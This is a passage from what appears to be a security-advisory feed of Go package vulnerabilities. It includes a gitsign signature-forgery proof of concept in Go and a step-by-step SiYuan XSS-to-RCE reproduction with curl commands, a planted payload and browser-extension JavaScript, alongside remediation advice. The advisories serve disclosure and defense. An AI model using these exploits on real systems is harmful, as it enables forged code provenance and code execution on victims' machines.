gitsign-signed commit from Alice: ``` tree T1 ← Alice's real tree (what go-git and gitsign see) author Alice <alice@corp.com> ... committer Alice <alice@corp.com> ... gpgsig -----BEGIN SIGNED MESSAGE----- <Alice's valid signature over T1 canonical form> -----END SIGNED MESSAGE----- This is Alice's commit. ``` An attacker crafts a new malformed commit object: ``` tree T2 ← attacker's malicious tree (git-core uses this) tree T1 ← Alice's tree (go-git uses this) author Alice <alice@corp.com> ... committer Alice <alice@corp.com> ... gpgsig -----BEGIN SIGNED MESSAGE----- <Alice's valid signature — replayed verbatim> -----END SIGNED MESSAGE----- This is Alice's commit. ``` - **`gitsign verify`**: go-git picks T1, re-encodes, Alice's signature verifies. Output: "Good signature from alice@corp.com." - **`git log` / `git-core`**: uses T2 (attacker-controlled content). - **Rekor lookup**: `ObjectHash` also goes through the go-git round-trip, so the logged hash is the T1-canonical hash — consistent with the forged verification output but not with the actual raw object. The attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs `gitsign verify`. ## Proof of Concept ```go // poc_tree_mismatch.go — run from repo root: go run ./poc_tree_mismatch.go package main import ( "context" "crypto" "crypto/ecdsa" "crypto/elliptic" "crypto/rand" "crypto/x509" "crypto/x509/pkix" "fmt" "io" "math/big" "strings" "time" "github.com/go-git/go-git/v5/plumbing" "github.com/go-git/go-git/v5/plumbing/object" "github.com/go-git/go-git/v5/storage/memory" "github.com/sigstore/gitsign/internal/signature" ggit "github.com/sigstore/gitsign/pkg/git" ) type identity struct { cert *x509.Certificate priv crypto.Signer } func (i *identity) Certificate() (*x509.Certificate, error) { return i.cert, nil } func (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil } func (i *identity) Signer() (crypto.Signer, error) { return i.priv, nil } func (i *identity) Delete() error { return nil } func (i *identity) Close() {} func indentSig(sig string) string { sig = strings.TrimSuffix(sig, "\n") lines := strings.Split(sig, "\n") out := "gpgsig " + lines[0] + "\n" for _, ln := range lines[1:] { out += " " + ln + "\n" } return out } func main() { priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) tmpl := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "attacker"}, NotBefore: time.Now().Add(-time.Minute), NotAfter: time.Now().Add(time.Hour), KeyUsage: x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning}, BasicConstraintsValid: true, } rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv) cert, _ := x509.ParseCertificate(rawCert) treeFirst := strings.Repeat("a", 40) // git-core uses this treeSecond := strings.Repeat("b", 40) // go-git uses this author := "author Eve <eve@example.com> 1700000000 +0000" committer := "committer Eve <eve@example.com> 1700000000 +0000" msg := "msg\n" // Sign the go-git canonical form (second tree only) canonicalData := fmt.Sprintf("tree %s\n%s\n%s\n\n%s", treeSecond, author, committer, msg) id := &identity{cert: cert, priv: priv} resp, err := signature.Sign(context.Background(), id, []byte(canonicalData), signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0}) if err != nil { panic(err) } // Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git) malformedRaw := fmt.Sprintf("tree %s\ntree %s\n%s\n%s\n%s\n%s", treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg) st := memory.NewStorage() enc := st.NewEncodedObject() enc.SetType(plumbing.CommitObject) w, _ := enc.Writer() _, _ = w.Write([]byte(malformedRaw)) _ = w.Close() c, err := object.DecodeCommit(st, enc) if err != nil { panic(err) } // Reproduce what gitsign verify does out := new(plumbing.MemoryObject) if err := c.EncodeWithoutSignature(out); err != nil { panic(err) } r, _ := out.Reader() verifyData, _ := io.ReadAll(r) roots := x509.NewCertPool() roots.AddCert(cert) v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots)) _, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true) objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature)) rawObj := &plumbing.MemoryObject{} rawObj.SetType(plumbing.CommitObject) _, _ = rawObj.Write([]byte(malformedRaw)) fmt.Println("FIRST_TREE_IN_RAW (git-core):", treeFirst) fmt.Println("SECOND_TREE_IN_RAW (go-git):", treeSecond) fmt.Println("GO_GIT_PARSED_TREE:", c.TreeHash.String()) fmt.Println("VERIFY_DATA_EQUALS_CANONICAL:", string(verifyData) == canonicalData) fmt.Println("CERT_VERIFY_ERROR:", verr) // nil = signature accepted fmt.Println("OBJECTHASH_ERROR:", oerr) fmt.Println("OBJECTHASH_FROM_VERIFY_DATA:", objHash) fmt.Println("RAW_MALFORMED_COMMIT_HASH:", rawObj.Hash().String()) // differs from objHash } ``` **Expected output:** ``` FIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa SECOND_TREE_IN_RAW (go-git): bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb GO_GIT_PARSED_TREE: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb VERIFY_DATA_EQUALS_CANONICAL: true CERT_VERIFY_ERROR: <nil> ← signature accepted OBJECTHASH_ERROR: <nil> OBJECTHASH_FROM_VERIFY_DATA: <hash of canonical form> RAW_MALFORMED_COMMIT_HASH: <different hash> ← hash mismatch confirms split ``` ## Impact - **Signature binding bypass**: `gitsign verify` reports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree). - **Signature replay without a key**: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes `gitsign verify` but points to attacker-controlled content, without possessing any signing key. - **Rekor tlog inconsistency**: `ObjectHash` also goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch. - **Verification path divergence**: `git verify-commit` and `gitsign verify` reach opposite verdicts for the same malformed commit, undermining auditability. ## Recommended Remediation ### Option 1: Verify against raw bytes (preferred) Change the `gitsign verify` and `gitsign verify-tag` CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what `commandVerify` already does when called by `git verify-commit`: ```go // internal/commands/verify/verify.go — replace lines 63–92 enc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h) if err != nil { return fmt.Errorf("error reading encoded commit object: %w", err) } r, err := enc.Reader() if err != nil { return err } rawBytes, err := io.ReadAll(r) if err != nil { return err } data, sig, err := git.ExtractSignatureFromRawObject(rawBytes) if err != nil { return err } // data is now the raw bytes without the gpgsig header — identical to what git-core passes summary, err := v.Verify(ctx, data, sig, true) ``` This aligns the CLI verification path with the `commandVerify` (git verify-commit) path that already handles raw bytes correctly. ### Option 2: Detect and reject malformed objects Add a pre-verification check in `ObjectHash` and in the verification path that rejects objects with duplicate field headers (duplicate `tree`, `parent`, `author`, `committer`), returning an error rather than silently normalizing: ```go func validateRawCommitFields(data []byte) error { seen := map[string]bool{} for _, line := range bytes.Split(data, []byte("\n")) { if idx := bytes.IndexByte(line, ' '); idx > 0 { key := string(line[:idx]) if seen[key] { return fmt.Errorf("malformed commit: duplicate field %q", key) } seen[key] = true } if len(line) == 0 { break // end of headers } } return nil } ``` This is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).

الإصدارات المتأثرة

All versions < 0.16.0

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

غير محدد
📦 github.com/in-toto/in-toto-golang 📌 All versions < 0.11.0 ⛓️‍💥 هجوم سلسلة التوريد ⚙️ لغة Go Go 🎯 محلي ⚪ لم تُستغل 🟢 ترقيع
💬 ### Impact _What kind of vulnerability is it? Who is impacted?_ in-toto-golang and in-toto-python both support glob patterns in artifact rules to indicate the artifacts that a rule applies to. Both support negations in character classes to indicate what should *not* be matched, ...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Impact _What kind of vulnerability is it? Who is impacted?_ in-toto-golang and in-toto-python both support glob patterns in artifact rules to indicate the artifacts that a rule applies to. Both support negations in character classes to indicate what should *not* be matched, but they used different operators to indicate the negation. in-toto-python uses `!` while in-toto-golang used `^`. A layout authored with the expectations of one implementation can therefore exhibit different behavior in the other implementation. This impacts users in a specific set of circumstances where two different implementations are used to verify the same layout + attestation bundle at different stages of the same pipeline. As a rule of thumb, we advise using a single implementation across all aspects of a pipeline, from layout creation to pipeline execution and verification to prevent this class of bugs. ### Patches _Has the problem been patched? What versions should users upgrade to?_ in-toto-golang has been updated to use `!` instead of `^` to indicate negation. See https://github.com/in-toto/in-toto-golang/pull/462. This is part of v0.11.0.

الإصدارات المتأثرة

All versions < 0.11.0

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:N

غير محدد
📦 volcano.sh/volcano 📌 All versions < 1.12.4 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 شبكة محلية ⚪ لم تُستغل 🟢 ترقيع
💬 ### Impact The Volcano webhook server does not enforce a size limit on incoming HTTP request bodies. Any in-cluster pod that can reach the webhook endpoint may send an arbitrarily large request body, potentially causing the webhook server to be killed by OOM. All Volcano deployme...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Impact The Volcano webhook server does not enforce a size limit on incoming HTTP request bodies. Any in-cluster pod that can reach the webhook endpoint may send an arbitrarily large request body, potentially causing the webhook server to be killed by OOM. All Volcano deployments with the webhook server exposed to in-cluster traffic are affected. ### Patches This issue will be fixed in the following versions: - v1.14.2 - v1.13.3 - v1.12.4 Users running versions below these should upgrade accordingly. ### Workarounds No known workarounds. Upgrade to the patched versions listed above.

الإصدارات المتأثرة

All versions < 1.12.4

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

حرجة
📦 github.com/siyuan-note/siyuan/kernel 📌 All versions < 0 🖥️ نظام تشغيل 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل
💬 ## Summary The tooltip mouseover handler in `app/src/block/popover.ts` reads `aria-label` via `getAttribute` and passes it through `decodeURIComponent` before assigning to `messageElement.innerHTML` in `app/src/dialog/tooltip.ts:41`. The encoder used at the producer side, `escap...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

## Summary The tooltip mouseover handler in `app/src/block/popover.ts` reads `aria-label` via `getAttribute` and passes it through `decodeURIComponent` before assigning to `messageElement.innerHTML` in `app/src/dialog/tooltip.ts:41`. The encoder used at the producer side, `escapeAriaLabel` in `app/src/util/escape.ts:19-25`, only handles HTML special characters (`"`, `'`, `<`, literal `&lt;`) — it leaves `%XX` URL-escapes untouched. So a doc title containing `%3Cimg src=x onerror=...%3E` round-trips through `escapeAriaLabel` and the HTML attribute layer unmodified. Then `decodeURIComponent` on the consumer side converts `%3C` to a literal `<` character (a real `<`, NOT a character reference). When that string is assigned to `innerHTML`, the HTML5 tokenizer enters TagOpenState on the literal `<`, parses the `<img>` element, and the `onerror` handler fires. Because the renderer runs with `nodeIntegration: true, contextIsolation: false, webSecurity: false` (`app/electron/main.js:407-411`), `require('child_process')` is reachable from the injected handler, escalating to arbitrary code execution. Doc titles, AV column names + descriptions, AV select options, file-tree tooltips all reach this sink because they're rendered into `class="ariaLabel"` elements with `aria-label="${escapeAriaLabel(...)}"`. Doc title is the easiest plant — any user with create/rename access lands the payload, and the file survives `.sy.zip` round-trip without modification. ## Why a "double HTML-decode" framing is wrong A naïve reading of the chain might suggest that `&amp;lt;` (the encoder output) decodes once at attribute-parse time to `&lt;`, then a second time at `innerHTML` time to `<` — yielding a tag. **That's incorrect** and confirmed false by direct browser testing. Per the HTML5 spec, character references in DataState produce CHARACTER tokens (text), not TagOpenState transitions: the `<` resulting from a `&lt;` reference is text data, never a tag-open delimiter. So the HTML-entity-only payload renders as visible literal text, not as a tag. The actual bypass relies on `decodeURIComponent` producing a **literal** `<` (not a character reference) before `innerHTML` parses it. Literal `<` characters in the input stream DO trigger TagOpenState. URL encoding is the right vehicle because the encoder ignores `%XX` while the consumer chain decodes it. ## Details **Encoder.** `app/src/util/escape.ts:19-25`: ```ts export const escapeAriaLabel = (html: string) => { if (!html) { return html; } return html.replace(/"/g, "&quot;").replace(/'/g, "&apos;") .replace(/</g, "&amp;lt;").replace(/&lt;/g, "&amp;lt;"); }; ``` The four replacements only cover HTML special chars. `%XX` URL escapes are not touched. **Source — search-result rendering.** `app/src/search/util.ts:1406`: ```ts <span class="b3-list-item__text ariaLabel" ... aria-label="${escapeAriaLabel(title)}">${escapeGreat(title)}</span> ``` Same pattern at `:1448`, `protyle/render/av/blockAttr.ts:205`, `protyle/render/av/col.ts:134`, `protyle/render/av/select.ts:36`, `search/unRef.ts:113`. The `title` is built from `getNotebookName(item.box) + getDisplayName(item.hPath, false)` (line 1398). The `hPath` returned by `/api/search/fullTextSearchBlock` carries the user-set doc title verbatim — `%XX` URL-escapes pass through, only HTML special chars are entity-encoded by the kernel. **Consumer.** `app/src/block/popover.ts:33,144`: ```ts let tip = aElement.getAttribute("aria-label") || ""; // literal stored attribute value // ... branch logic that doesn't apply to plain search results ... showTooltip(decodeURIComponent(tip), aElement, ...); // ← decodes %XX into raw chars ``` `decodeURIComponent` is presumably present to handle URL-encoded asset paths in some hyperlink tooltips, but it's applied unconditionally to every aria-label-sourced tip — that's what enables this bypass. **Sink.** `app/src/dialog/tooltip.ts:41`: ```ts messageElement.innerHTML = message; // ← HTML parser sees the now-decoded raw `<` and starts parsing tags ``` **Decode-chain trace** for in-memory title `%3Cimg src=x onerror="alert('SiYuan')"%3E` (URL-encoded `<` `>` `'`, literal `"`): | step | result | |------|--------| | in-memory title | `%3Cimg src=x onerror="alert('SiYuan')"%3E` | | `escapeAriaLabel` writes (only `"` and `'` get encoded — neither appears here as raw chars when `'` is `%27`) | `%3Cimg src=x onerror=&quot;alert(%27SiYuan%27)&quot;%3E` | | HTML attribute set: `aria-label="..."` ; browser one-decodes named entities when storing | in-DOM value = `%3Cimg src=x onerror="alert(%27SiYuan%27)"%3E` | | `getAttribute("aria-label")` | `%3Cimg src=x onerror="alert(%27SiYuan%27)"%3E` (verbatim) | | `decodeURIComponent(tip)` | **`<img src=x onerror="alert('SiYuan')">`** (real `<` `'` `>` chars) | | `messageElement.innerHTML = …` | HTML parser tokenizes raw `<img>`, creates element, fails to load `src=x`, fires `onerror` → JS runs | **Renderer + reachability.** Renderer posture and auto-admin gates same as the AV-name advisory (Advisory 1): `nodeIntegration:true, contextIsolation:false, webSecurity:false` at `app/electron/main.js:407-411`; empty-`AccessAuthCode` local auto-admin at `kernel/model/session.go:261-287`; `chrome-extension://` Origin allowlist at `session.go:277`. ## Suggested fix 1. **Primary — `app/src/dialog/tooltip.ts:41`**: replace ```ts messageElement.innerHTML = message; ``` with ```ts messageElement.textContent = message; ``` For tooltips that legitimately need markup (memo rendering, hyperlink preview cards), introduce an explicit `{html: true}` flag on `showTooltip(...)` and route the message through `DOMPurify.sanitize(message)` before assigning to `innerHTML`. 2. **Drop `decodeURIComponent` at `popover.ts:144`** for the generic aria-label path. Apply it only on the few callers that intentionally pass URL-encoded asset paths (e.g. the local-asset hyperlink preview branch already inside the function), and apply it inside `try`/`catch` with a clear scope. Aria-label content is not URL-encoded by design; decoding it is a footgun that converts otherwise-safe attributes into pre-parsed HTML. 3. **Consolidate the four escape helpers** in `app/src/util/escape.ts` (`escapeHtml`, `escapeAttr`, `escapeAriaLabel`, `escapeGreat`) into one `Lute.EscapeHTMLStr`-equivalent that escapes `&`, `<`, `>`, `"`, `'`. Context-specific encoders without compile-time enforcement keep producing bug-class variants. 4. **(Defense-in-depth)** Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge — caps every future renderer XSS at "DOM only," not RCE. --- ## Reproduction (copy-paste-ready) Tested on Windows with SiYuan v3.6.5 (kernel + Electron) and Microsoft Edge as the offline parser-validation engine. Linux/macOS users substitute `py` with `python3` and use any modern Chromium-based browser (Edge/Chrome/Brave) for the standalone validation step. ### Prereqs 1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases and launch once. **Do not set an `AccessAuthCode`** (default). 2. Verify the kernel is up: ```sh curl -s http://127.0.0.1:6806/api/system/version # → {"code":0,"msg":"","data":"3.6.5"} ``` 3. Create at least one notebook (the file tree's "+" button) so `lsNotebooks` returns a usable id. Pin variables: ```sh API=http://127.0.0.1:6806 NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \ -H 'Content-Type: application/json' -d '{}' \ | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])') echo "Using notebook: $NOTEBOOK_ID" ``` ### Step A — Browser-only validation of the chain (no SiYuan needed) This proves the bug class on its own. Save as `decode-chain.html`, open in any Chromium-based browser: ```html <!doctype html> <html><body> <h2 id="status">Click "Simulate" — if status turns red, the chain works.</h2> <span id="src" class="ariaLabel" aria-label="%3Cimg src=x onerror=&quot;document.getElementById('status').innerText='RESULT: payload fired — chain works'; document.getElementById('status').style.color='red';&quot;%3E" hidden></span> <button onclick=" let tip = document.getElementById('src').getAttribute('aria-label'); console.log('after getAttribute:', JSON.stringify(tip)); try { tip = decodeURIComponent(tip); } catch(e){} console.log('after decodeURIComponent:', JSON.stringify(tip)); document.getElementById('out').innerHTML = tip; ">Simulate SiYuan tooltip</button> <div id="out" style="border:2px solid red; padding:1em; min-height:3em; margin-top:1em;"></div> </body></html> ``` Click the button. The `<h2 id="status">` flips to red with "RESULT: payload fired — chain works", and the `<div id="out">` contains a fully-rendered `<img>` element (not text). Confirms the chain decodes URL-escapes between `getAttribute` and `innerHTML`, producing real tag-open characters. ### Step B — Plant the payload in SiYuan ```sh DOC_ID=$(curl -s -X POST $API/api/filetree/createDocWithMd \ -H 'Content-Type: application/json' \ -d "{\"notebook\":\"$NOTEBOOK_ID\",\"path\":\"/tooltip-xss-poc-$$\",\"markdown\":\"trigger me — open the search panel, type 'trigger', and hover this result\"}" \ | python -c 'import sys,json; print(json.load(sys.stdin)["data"])') echo "DOC: $DOC_ID" curl -s -X POST $API/api/filetree/renameDocByID \ -H 'Content-Type: application/json' \ --data-binary @- <<EOF {"id":"$DOC_ID","title":"%3Cimg src=x onerror=\"alert('SiYuan tooltip-XSS PoC')\"%3E"} EOF ``` Verify the in-memory title round-trips: ```sh curl -s -X POST $API/api/block/getDocInfo \ -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \ | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["ial"]["title"])' # Expected: # %3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E ``` ### Step C — Trigger inside SiYuan In the SiYuan desktop client: 1. Open the search panel (`Ctrl+P` / `⌘+P`). 2. Type `trigger`. 3. The result list renders the doc with `aria-label="${escapeAriaLabel(title)}"`. The DOM attribute now contains `%3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E` (URL-escapes survived; `&quot;` came from escapeAriaLabel and was decoded by the attribute parser to `"`). 4. **Hover the result row.** `popover.ts:33` reads the attribute, `popover.ts:144` calls `decodeURIComponent` (decoding `%3C`/`%27`/`%3E` to literal `<`/`'`/`>`), `tooltip.ts:41` writes `innerHTML` — HTML parser creates a real `<img>` element, `onerror` fires. 5. **`alert('SiYuan tooltip-XSS PoC')` pops.** ### Step D — `.sy.zip` reproducer for upstream review For maintainers who want a single-click reproducer: ```sh ZIP_PATH=$(curl -s -X POST $API/api/export/exportSY \ -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \ | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["zip"])') # The kernel re-encodes % in the URL, so it's simpler to grab from disk: SRC=$(ls -1t "$HOME/SiYuanWorkspace/temp/export"/*.sy.zip | head -1) cp "$SRC" "$HOME/Desktop/tooltip-xss-poc.sy.zip" ``` Maintainer reproduces by importing via right-click a notebook → **Import** → **SiYuan `.sy.zip`** → searching `trigger` → hovering the result. The Lute serialization stores the title in the `.sy` file with `%XX` preserved literally and `"` HTML-entity-encoded — the IAL parser decodes the entities on load, leaving the URL escapes intact, which then feeds the `decodeURIComponent`-based bypass. ### Step E — Browser-extension attack vector (the realistic remote path) A malicious or compromised installed browser extension's content/background script runs with `chrome-extension://<id>` Origin, allowlisted by `session.go:277`. The extension can run Step B's curl chain via `fetch()` without any SiYuan UI interaction beyond keeping the kernel running: ```js (async () => { const api = (path, body) => fetch('http://127.0.0.1:6806' + path, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(body) }).then(r => r.json()); const nb = await api('/api/notebook/lsNotebooks', {}); const id = (await api('/api/filetree/createDocWithMd', { notebook: nb.data.notebooks[0].id, path: '/x' + Date.now(), markdown: 'trigger' })).data; await api('/api/filetree/renameDocByID', { id, title: `%3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E` }); })(); ``` A page from `https://attacker.com` is rejected — `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author's compromised device**. ### Cleanup ```sh DOC_ID=$(curl -s -X POST $API/api/filetree/searchDocs \ -H 'Content-Type: application/json' -d '{"k":"trigger me"}' \ | python -c 'import sys,json; r=json.load(sys.stdin)["data"]; print(r[0]["id"] if r else "")') [ -n "$DOC_ID" ] && curl -s -X POST $API/api/filetree/removeDocByID \ -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" ``` ## Impact - **RCE on the victim's desktop**, triggered by hovering a search result (or any other `class="ariaLabel"` element rendering attacker-controlled metadata). - **Doc titles are the most commonly-shared field** — recipients of `.sy.zip`, Bazaar templates, and sync peers all import the malicious title automatically; the URL encoding survives every transport. - Same post-RCE consequences as Advisory 1: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json`), persistence, cloud-account pivot. - **Multiple alternative trigger surfaces** beyond search results: AV column names + descriptions, AV select-cell options, file-tree tooltips — any element with `class="ariaLabel"` and `aria-label="${escapeAriaLabel(...)}"` reaches the same `popover.ts → tooltip.ts` chain. - **CVE-2026-34585 fix is incomplete.** The encoder-side hardening assumed exactly one HTML decode between encoder and DOM. It did not account for `decodeURIComponent` being applied to the consumer-side attribute value, which converts URL-escapes that the encoder ignored into literal `<` characters that initiate tag parsing. A consumer-side fix (`textContent`, or `DOMPurify.sanitize` on the rich-text path; and removing the unconditional `decodeURIComponent`) is required.

الإصدارات المتأثرة

All versions < 0

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

منخفضة
📦 github.com/nhost/nhost 📌 All versions < 52c70664a7e9 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Description When a user changes their password, either through the authenticated password change endpoint or a password reset ticket, the [`ChangePassword`](https://github.com/nhost/nhost/blob/main/services/auth/go/controller/workflows.go#L731-L759) workflow correctly hashes ...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

## Description When a user changes their password, either through the authenticated password change endpoint or a password reset ticket, the [`ChangePassword`](https://github.com/nhost/nhost/blob/main/services/auth/go/controller/workflows.go#L731-L759) workflow correctly hashes and persists the new password via [`UpdateUserChangePassword`](https://github.com/nhost/nhost/blob/main/services/auth/go/sql/query.sql#L314-L318). However, it does not revoke existing sessions. The `auth.refresh_tokens` and `auth.oauth2_refresh_tokens` tables are left untouched, meaning all previously issued refresh tokens remain valid and can continue generating new access tokens indefinitely. This vulnerability affects all password change paths (handled in [`change_user_password.go`](https://github.com/nhost/nhost/blob/main/services/auth/go/controller/change_user_password.go)), since they share the same underlying workflow: - Authenticated password change via the Nhost dashboard or client SDK - Ticket-based password reset (magic links / recovery flows) - OAuth2/OIDC sessions managed via `auth.oauth2_refresh_tokens` ## Attack Scenario 1. An attacker steals a victim's refresh token via XSS or a compromised device. 2. The victim changes their password, expecting it to terminate all active sessions. 3. The server updates `password_hash` but performs no session cleanup, the stolen token remains fully functional. ## Impact The attacker retains persistent access even after the victim's password change. This is especially severe in credential theft scenarios, where the victim's only recovery action does nothing against an active session. Depending on configured TTL, the attacker's window could be days or weeks.

الإصدارات المتأثرة

All versions < 52c70664a7e9

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

غير محدد
📦 github.com/sigstore/gitsign 📌 All versions < 0.15.0 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary `CertVerifier.Verify()` in `pkg/git/verifier.go` unconditionally dereferences `certs[0]` after `sd.GetCertificates()` without checking the slice length. A CMS/PKCS7 signed message with an empty certificate set is a structurally valid DER payload; `GetCertificates()` r...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

## Summary `CertVerifier.Verify()` in `pkg/git/verifier.go` unconditionally dereferences `certs[0]` after `sd.GetCertificates()` without checking the slice length. A CMS/PKCS7 signed message with an empty certificate set is a structurally valid DER payload; `GetCertificates()` returns an empty slice with no error, causing an immediate index-out-of-range panic. On the `gitsign --verify` code path (the GPG-compatible mode invoked by `git verify-commit`), the panic is silently recovered by `internal/io/streams.go`'s `Wrap()` function, which returns `nil` instead of an error. `main.go` then exits with code 0, causing exit-code-only verification callers to interpret the failed verification as success. ## Severity **Medium** (CVSS 3.1: 5.8) `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L` - **Attack Vector:** Network — attacker pushes a commit carrying a crafted signature to any accessible repository, or delivers the signature file out-of-band - **Attack Complexity:** Low — stripping certificates from a PKCS7 object requires only standard ASN.1 tooling - **Privileges Required:** None — writing to an accessible repo (or creating a repo a victim clones) is sufficient - **User Interaction:** Required — victim must run `git verify-commit`, `gitsign --verify`, or an equivalent verification step - **Scope:** Unchanged - **Confidentiality Impact:** None - **Integrity Impact:** Low — exit-code-only callers (scripts, some CI pipelines) treat the panicked verification as success; git's own status-fd path checks for `GOODSIG` and is therefore partially protected - **Availability Impact:** Low — the verification process aborts via panic on every invocation with such a signature ## Affected Component - `pkg/git/verifier.go` — `(*CertVerifier).Verify` (line 114) - `internal/io/streams.go` — `(*Streams).Wrap` (lines 71–84, the recovery that returns nil on panic) ## CWE - **CWE-129**: Improper Validation of Array Index - **CWE-390**: Detection of Error Condition Without Action Taken (panic swallowed, nil returned) ## Description ### Unconditional index dereference after GetCertificates `CertVerifier.Verify()` parses the incoming signature as CMS/PKCS7 and calls `GetCertificates()` to extract the signer's certificate before any signature math takes place: ```go // pkg/git/verifier.go:109–114 certs, err := sd.GetCertificates() if err != nil { return nil, fmt.Errorf("error getting signature certs: %w", err) } cert := certs[0] // panic: index out of range if certs is empty ``` `GetCertificates()` delegates to `sd.psd.X509Certificates()` (the upstream `smimesign/ietf-cms` library). RFC 5652 §5.1 marks the `certificates` field in `SignedData` as `OPTIONAL`, and an empty or absent set is a structurally valid CMS message. The library returns `(nil, nil)` or `([]*, nil)` for such a message — an empty slice with no error — so the length check on `err` is irrelevant: ```go // internal/fork/ietf-cms/signed_data.go:53–55 func (sd *SignedData) GetCertificates() ([]*x509.Certificate, error) { return sd.psd.X509Certificates() // returns ([], nil) for empty cert set } ``` There is no length guard anywhere between `GetCertificates()` and the `certs[0]` dereference. ### Panic recovery silently returns exit 0 All root-command invocations (including `gitsign --verify`, which git calls for `verify-commit`) are wrapped by `(*Streams).Wrap`: ```go // internal/commands/root/root.go:69–95 RunE: func(cmd *cobra.Command, args []string) error { s := io.New(o.Config.LogPath) defer s.Close() return s.Wrap(func() error { // panic recovery is here ... case o.FlagVerify: return commandVerify(o, s, args...) ... }) }, ``` `Wrap` uses a bare `recover()` inside a `defer`: ```go // internal/io/streams.go:71–84 func (s *Streams) Wrap(fn func() error) error { defer func() { if r := recover(); r != nil { fmt.Fprintln(s.TTYOut, r, string(debug.Stack())) // ← no named return, no assignment; Wrap returns nil } }() if err := fn(); err != nil { fmt.Fprintln(s.TTYOut, err) return err } return nil } ``` In Go, a `recover()` in a `defer` does not modify the enclosing function's return value unless named returns are used. When `fn()` panics, the `defer` fires, prints the panic message and stack trace to TTYOut, and then `Wrap` returns the zero value for `error` — which is `nil`. `main.go` then sees nil from `rootCmd.Execute()` and exits 0: ```go // main.go:37–39 if err := rootCmd.Execute(); err != nil { os.Exit(1) // NOT reached } // process falls through → exit 0 ``` ### GPG status-fd provides partial protection for git verify-commit `git verify-commit` passes `--status-fd=1` to gitsign. The GPG status protocol requires `GOODSIG` in the status output for git to treat the signature as valid. In `commandVerify`, `EmitGoodSig` is only called after `v.Verify()` succeeds: ```go // internal/commands/root/verify.go:49–90 gpgout.Emit(gpg.StatusNewSig) // written before verification summary, err := v.Verify(ctx, data, sig, true) // PANIC here // lines below never reached: gpgout.EmitGoodSig(summary.Cert) gpgout.EmitTrustFully() ``` Because the panic fires inside `v.Verify()`, only `NEWSIG` (not `GOODSIG`) is written to the status-fd. Modern git reads this output and still considers the commit unverified. However, scripts and CI tools that check only the exit code of `gitsign --verify` see exit 0 and consider verification successful. ### Execution chain to impact 1. Attacker strips all certificates from a valid gitsign PKCS7 signature using `sd.SetCertificates([]*x509.Certificate{})` and re-serializes the message. 2. Attacker attaches this certificate-free signature as the `gpgsig` field of a commit and pushes it to an accessible repository (or delivers the `.pem` file directly). 3. Victim runs `gitsign --verify <sig> <data>` or `git verify-commit <commit>` (which 